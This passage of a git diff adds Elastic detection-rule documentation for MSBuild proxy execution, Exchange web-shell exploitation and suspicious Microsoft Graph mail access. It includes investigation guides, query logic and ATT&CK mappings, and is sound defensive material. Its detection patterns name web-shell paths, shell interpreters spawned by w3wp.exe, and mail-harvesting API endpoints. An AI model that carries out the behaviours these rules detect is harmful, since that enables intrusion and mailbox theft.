non-malicious. +- System maintenance tasks initiated by IT personnel might use MSBuild in a manner that appears suspicious. Coordinate with IT to understand routine maintenance activities and exclude them from alerts. +- Security software or monitoring tools that interact with MSBuild for scanning or analysis purposes should be identified and excluded from triggering alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the MSBuild.exe process if it is confirmed to be executing unauthorized or malicious code. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious payloads or associated files. +- Review and analyze the parent processes (explorer.exe or wmiprvse.exe) to determine if they have been compromised or are executing other suspicious activities. +- Restore the system from a known good backup if any critical system files or applications have been altered or corrupted. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for MSBuild.exe and related processes to detect similar activities in the future, ensuring alerts are configured for rapid response. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "MSBuild.exe" and + process.parent.name : ("explorer.exe", "wmiprvse.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-an-office-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-an-office-application.asciidoc new file mode 100644 index 0000000000..96995f7281 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-build-engine-started-by-an-office-application.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-20-microsoft-build-engine-started-by-an-office-application]] +=== Microsoft Build Engine Started by an Office Application + +An instance of MSBuild, the Microsoft Build Engine, was started by Excel or Word. This is unusual behavior for the Build Engine and could have been caused by an Excel or Word document executing a malicious script payload. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Build Engine Started by an Office Application* + + +Microsoft Office (MS Office) is a suite of applications designed to help with productivity and completing common tasks on a computer. You can create and edit documents containing text and images, work with data in spreadsheets and databases, and create presentations and posters. As it is some of the most-used software across companies, MS Office is frequently targeted for initial access. It also has a wide variety of capabilities that attackers can take advantage of. + +The Microsoft Build Engine is a platform for building applications. This engine, also known as MSBuild, provides an XML schema for a project file that controls how the build platform processes and builds software, and can be abused to proxy execution of code. + +This rule looks for the `Msbuild.exe` utility spawned by MS Office programs. This is generally the result of the execution of malicious documents. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Retrieve MS Office documents received and opened by the user that could cause this behavior. Common locations include, but are not limited to, the Downloads and Document folders and the folder configured at the email client. +- Determine if the collected files are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "MSBuild.exe" and + process.parent.name : ("eqnedt32.exe", + "excel.exe", + "fltldr.exe", + "msaccess.exe", + "mspub.exe", + "outlook.exe", + "powerpnt.exe", + "winword.exe" ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-exchange-server-um-writing-suspicious-files.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-exchange-server-um-writing-suspicious-files.asciidoc new file mode 100644 index 0000000000..f1bd365976 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-exchange-server-um-writing-suspicious-files.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-microsoft-exchange-server-um-writing-suspicious-files]] +=== Microsoft Exchange Server UM Writing Suspicious Files + +Identifies suspicious files being written by the Microsoft Exchange Server Unified Messaging (UM) service. This activity has been observed exploiting CVE-2021-26858. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 312 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +Positive hits can be checked against the established Microsoft https://github.com/microsoft/CSS-Exchange/tree/main/Security/Baselines[baselines]. + +Microsoft highly recommends that the best course of action is patching, but this may not protect already compromised systems +from existing intrusions. Other tools for detecting and mitigating can be found within their Exchange support +https://github.com/microsoft/CSS-Exchange/tree/main/Security[repository] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type == "creation" and + process.name : ("UMWorkerProcess.exe", "umservice.exe") and + file.extension : ("php", "jsp", "js", "aspx", "asmx", "asax", "cfm", "shtml") and + ( + file.path : "?:\\inetpub\\wwwroot\\aspnet_client\\*" or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\*" and + not (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\owa\\auth\\version\\*" or + file.name : ("errorFE.aspx", "expiredpassword.aspx", "frowny.aspx", "GetIdToken.htm", "logoff.aspx", + "logon.aspx", "OutlookCN.aspx", "RedirSuiteServiceProxy.aspx", "signout.aspx"))) or + + (file.path : "?:\\*\\Microsoft\\Exchange Server*\\FrontEnd\\HttpProxy\\ecp\\auth\\*" and + not file.name : "TimeoutLogoff.aspx") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc new file mode 100644 index 0000000000..9030887425 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-exchange-worker-spawning-suspicious-processes.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-microsoft-exchange-worker-spawning-suspicious-processes]] +=== Microsoft Exchange Worker Spawning Suspicious Processes + +Identifies suspicious processes being spawned by the Microsoft Exchange Server worker process (w3wp). This activity may indicate exploitation activity or access to an existing web shell backdoor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers +* https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities +* https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Microsoft Exchange Worker Spawning Suspicious Processes* + + +Microsoft Exchange Server uses the worker process (w3wp.exe) to handle web requests, often running under specific application pools. Adversaries exploit this by executing malicious scripts or commands, potentially via web shells, to gain unauthorized access or execute arbitrary code. The detection rule identifies unusual child processes like command-line interpreters spawned by w3wp.exe, signaling possible exploitation or backdoor activity. + + +*Possible investigation steps* + + +- Review the alert details to confirm the parent process is w3wp.exe and check if the process arguments include "MSExchange*AppPool" to ensure the alert is relevant to Microsoft Exchange. +- Examine the child process details, focusing on the process names and original file names such as cmd.exe, powershell.exe, pwsh.exe, and powershell_ise.exe, to identify any unauthorized or unexpected command-line activity. +- Investigate the timeline of events leading up to the alert, including any preceding or subsequent processes, to understand the context and potential impact of the suspicious activity. +- Check for any associated network activity or connections initiated by the suspicious processes to identify potential data exfiltration or communication with external command and control servers. +- Review recent changes or access logs on the affected Exchange server to identify any unauthorized access attempts or modifications that could indicate exploitation or the presence of a web shell. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender for Endpoint, or SentinelOne to gather additional context and corroborate findings. +- Assess the risk and impact of the detected activity, considering the severity and risk score, and determine appropriate response actions, such as isolating the affected system or conducting a deeper forensic analysis. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule if administrators use command-line tools like cmd.exe or powershell.exe for legitimate maintenance. To manage this, create exceptions for known administrative accounts or specific IP addresses that regularly perform these tasks. +- Scheduled tasks or scripts that run under the MSExchangeAppPool context might spawn command-line interpreters as part of their normal operation. Identify these tasks and exclude them by specifying their unique process arguments or command lines. +- Monitoring or backup software that interacts with Exchange Server could inadvertently trigger the rule. Review the software's documentation to confirm its behavior and exclude its processes by name or hash if they are verified as safe. +- Custom applications or integrations that interact with Exchange Server and use command-line tools for automation may also cause false positives. Work with application developers to understand these interactions and exclude them based on process names or specific command-line patterns. +- If a known security tool or script is used to test Exchange Server's security posture, it might mimic suspicious behavior. Document these tools and exclude their processes during scheduled testing periods to avoid false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Microsoft Exchange Server from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified as being spawned by w3wp.exe, such as cmd.exe or powershell.exe, to halt any ongoing malicious activity. +- Conduct a thorough review of the server's application pools and web directories to identify and remove any unauthorized web shells or scripts. +- Restore the server from a known good backup taken before the suspicious activity was detected to ensure system integrity. +- Apply the latest security patches and updates to the Microsoft Exchange Server to mitigate known vulnerabilities and prevent exploitation. +- Monitor network traffic and server logs for any signs of continued or attempted exploitation, focusing on unusual outbound connections or repeated access attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "w3wp.exe" and process.parent.args : "MSExchange*AppPool" and + ( + (process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc new file mode 100644 index 0000000000..a31f985f66 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-graph-request-email-access-by-unusual-user-and-client.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-microsoft-graph-request-email-access-by-unusual-user-and-client]] +=== Microsoft Graph Request Email Access by Unusual User and Client + +Identifies access to email resources via Microsoft Graph API using an first-party application on behalf of a user principal. This behavior may indicate an adversary using a phished OAuth refresh token or a Primary Refresh Token (PRT) to access email resources. The pattern includes requests to Microsoft Graph API endpoints related to email, such as /me/mailFolders/inbox/messages or /users/{user_id}/messages, using a public client application ID and a user principal object ID. This is a New Terms rule that only signals if the application ID and user principal object ID have not been seen doing this activity in the last 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.graphactivitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Request Email Access by Unusual User and Client* + + +This rule detects instances where a previously unseen or rare Microsoft Graph application client ID accesses email-related APIs, such as `/me/messages`, `/sendMail`, or `/mailFolders/inbox/messages`. These accesses are performed via delegated user credentials using common OAuth scopes like `Mail.Read`, `Mail.ReadWrite`, `Mail.Send`, or `email`. This activity may indicate unauthorized use of a newly consented or compromised application to read or exfiltrate mail content. This is a New Terms rule that only signals if the application ID (`azure.graphactivitylogs.properties.app_id`) and user principal object ID (`azure.graphactivitylogs.properties.user_principal_object_id`) have not been seen doing this activity in the last 14 days. + + +*Possible Investigation Steps:* + + +- `azure.graphactivitylogs.properties.app_id`: Investigate the application ID involved. Is it known and sanctioned in your tenant? Pivot to Azure Portal → Enterprise Applications → Search by App ID to determine app details, publisher, and consent status. +- `azure.graphactivitylogs.properties.scopes`: Review the scopes requested by the application. Email-related scopes such as `Mail.ReadWrite` and `Mail.Send` are especially sensitive and suggest the app is interacting with mail content. +- `url.path` / `azure.graphactivitylogs.properties.requestUri`: Determine exactly which mail-related APIs were accessed (e.g., reading inbox, sending messages, enumerating folders). +- `user.id`: Identify the user whose credentials were used. Determine if the user recently consented to a new app, clicked a phishing link, or reported suspicious activity. +- `user_agent.original`: Check for suspicious automation tools (e.g., `python-requests`, `curl`, non-browser agents), which may suggest scripted access. +- `source.ip` and `client.geo`: Investigate the source IP and geography. Look for unusual access from unexpected countries, VPS providers, or anonymizing services. +- `http.request.method`: Determine intent based on HTTP method — `GET` (reading), `POST` (sending), `PATCH`/`DELETE` (modifying/removing messages). +- `token_issued_at` and `@timestamp`: Determine how long the token has been active and whether access is ongoing or recent. +- `azure.graphactivitylogs.properties.c_sid`: Use the session correlation ID to identify other related activity in the same session. This may help identify if the app is accessing multiple users' mailboxes or if the same user is accessing multiple apps. +- Correlate with Microsoft Entra ID (`azure.auditlogs` and `azure.signinlogs`) to determine whether: + - The app was recently granted admin or user consent + - Risky sign-ins occurred just prior to or after mail access + - The same IP or app ID appears across multiple users + + +*False Positive Analysis* + + +- New legitimate apps may appear after a user consents via OAuth. Developers, third-party tools, or IT-supplied utilities may access mail APIs if users consent. +- Users leveraging Microsoft development environments (e.g., Visual Studio Code) may trigger this behavior with delegated `.default` permissions. +- Admin-approved apps deployed via conditional access may trigger similar access logs if not previously seen in detection baselines. + + +*Response and Remediation* + + +- If access is unauthorized or unexpected: + - Revoke the app's consent in Azure AD via the Enterprise Applications blade. + - Revoke user refresh tokens via Microsoft Entra or PowerShell. + - Investigate the user's session and alert them to possible phishing or OAuth consent abuse. +- Review and restrict risky OAuth permissions in Conditional Access and App Governance policies. +- Add known, trusted app IDs to a detection allowlist to reduce noise in the future. +- Continue monitoring the app ID for additional usage across the tenant or from suspicious IPs. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.graphactivitylogs + and azure.graphactivitylogs.properties.app_id:* + and azure.graphactivitylogs.result_signature:200 + and azure.graphactivitylogs.properties.c_idtyp:user + and azure.graphactivitylogs.properties.client_auth_method:0 + and http.request.method:(DELETE or GET or PATCH or POST or PUT) + and ( + ( + url.path:(/v1.0/me/*cc or /v1.0/users/*) + and ( + url.path:((*inbox* or *mail* or *messages*) and not *mailboxSettings*) + or azure.graphactivitylogs.properties.requestUri:(*inbox* or *mail* or *messages*) + ) + ) + or azure.graphactivitylogs.properties.scopes:(Mail.Read or Mail.ReadWrite or Mail.Send) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Remote Email Collection +** ID: T1114.002 +** Reference URL: https://attack.mitre.org/techniques/T1114/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc new file mode 100644 index 0000000000..8857e5c37d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-graph-request-user-impersonation-by-unusual-client.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-microsoft-graph-request-user-impersonation-by-unusual-client]] +=== Microsoft Graph Request User Impersonation by Unusual Client + +This New Terms rule focuses on the first occurrence of a client application ID (azure.graphactivitylogs.properties.app_id) making a request to Microsoft Graph API for a specific tenant ID (azure.tenant_id) and user principal object ID (azure.graphactivitylogs.properties.user_principal_object_id). This rule may helps identify unauthorized access or actions performed by compromised accounts. Advesaries may succesfully compromise a user's credentials and use the Microsoft Graph API to access resources or perform actions on behalf of the user. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.graphactivitylogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Graph +* Data Source: Microsoft Graph Activity Logs +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Initial Access + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Graph Request User Impersonation by Unusual Client* + + +This rule detects the first observed occurrence of a Microsoft Graph API request by a specific client application ID (`azure.graphactivitylogs.properties.app_id`) in combination with a user principal object ID (`azure.graphactivitylogs.properties.user_principal_object_id`) and tenant ID (`azure.tenant_id`) within specific number of days. This may indicate unauthorized access following a successful phishing attempt, token theft, or abuse of OAuth workflows. + +Adversaries frequently exploit legitimate Microsoft or third-party application IDs to avoid raising suspicion during initial access. By using pre-consented or trusted apps to interact with Microsoft Graph, attackers can perform actions on behalf of users without triggering conventional authentication alerts or requiring additional user interaction. + + +*Possible investigation steps* + + +- Review `azure.graphactivitylogs.properties.user_principal_object_id` and correlate with recent sign-in logs for the associated user. +- Determine whether `azure.graphactivitylogs.properties.app_id` is a known and approved application in your environment. +- Investigate the `user_agent.original` field for signs of scripted access (e.g., automation tools or libraries). +- Check the source IP address (`source.ip`) and geolocation data (`source.geo.*`) for unfamiliar origins. +- Inspect `azure.graphactivitylogs.properties.scopes` to understand the level of access being requested by the app. +- Examine any follow-up Graph API activity from the same `app_id` or `user_principal_object_id` for signs of data access or exfiltration. +- Correlate with device or session ID fields (`azure.graphactivitylogs.properties.c_sid`, if present) to detect persistent or repeat activity. + + +*False positive analysis* + + +- First-time use of a legitimate Microsoft or enterprise-approved application. +- Developer or automation workflows initiating new Graph API requests. +- Valid end-user activity following device reconfiguration or new client installation. +- Maintain an allowlist of expected `app_id` values and known developer tools. +- Suppress detections from known good `user_agent.original` strings or approved source IP ranges. +- Use device and identity telemetry to distinguish trusted vs. unknown activity sources. +- Combine with session risk or sign-in anomaly signals where available. + + +*Response and remediation* + + +- Reach out to the user and verify whether they authorized the application access. +- Revoke active OAuth tokens and reset credentials if unauthorized use is confirmed. +- Search for additional Graph API calls made by the same `app_id` or `user_principal_object_id`. +- Investigate whether sensitive resources (mail, files, Teams, contacts) were accessed. +- Apply Conditional Access policies to limit Graph API access by app type, IP, or device state. +- Restrict user consent for third-party apps and enforce admin approval workflows. +- Monitor usage of new or uncommon `app_id` values across your tenant. +- Provide user education on OAuth phishing tactics and reporting suspicious prompts. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.graphactivitylogs" + and event.type: "access" + and azure.graphactivitylogs.properties.app_id: * + and azure.graphactivitylogs.properties.c_idtyp: "user" + and azure.graphactivitylogs.properties.client_auth_method: 0 + and http.response.status_code: 200 + and url.domain: "graph.microsoft.com" + and not url.path: ( + /v1.0/organization + or /v1.0/me/licenseDetails + or /v1.0/me/photo* + or /v1.0/me/photos* + or /beta/me/settings/regionalAndLanguageSettings + or /v1.0/me/drive/special/copilotuploads + or /v1.0/me/informationProtection/sensitivityLabels + or /beta/me/informationProtection/dataLossPreventionPolicies + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-iis-connection-strings-decryption.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-iis-connection-strings-decryption.asciidoc new file mode 100644 index 0000000000..274f5eb3fa --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-microsoft-iis-connection-strings-decryption.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-microsoft-iis-connection-strings-decryption]] +=== Microsoft IIS Connection 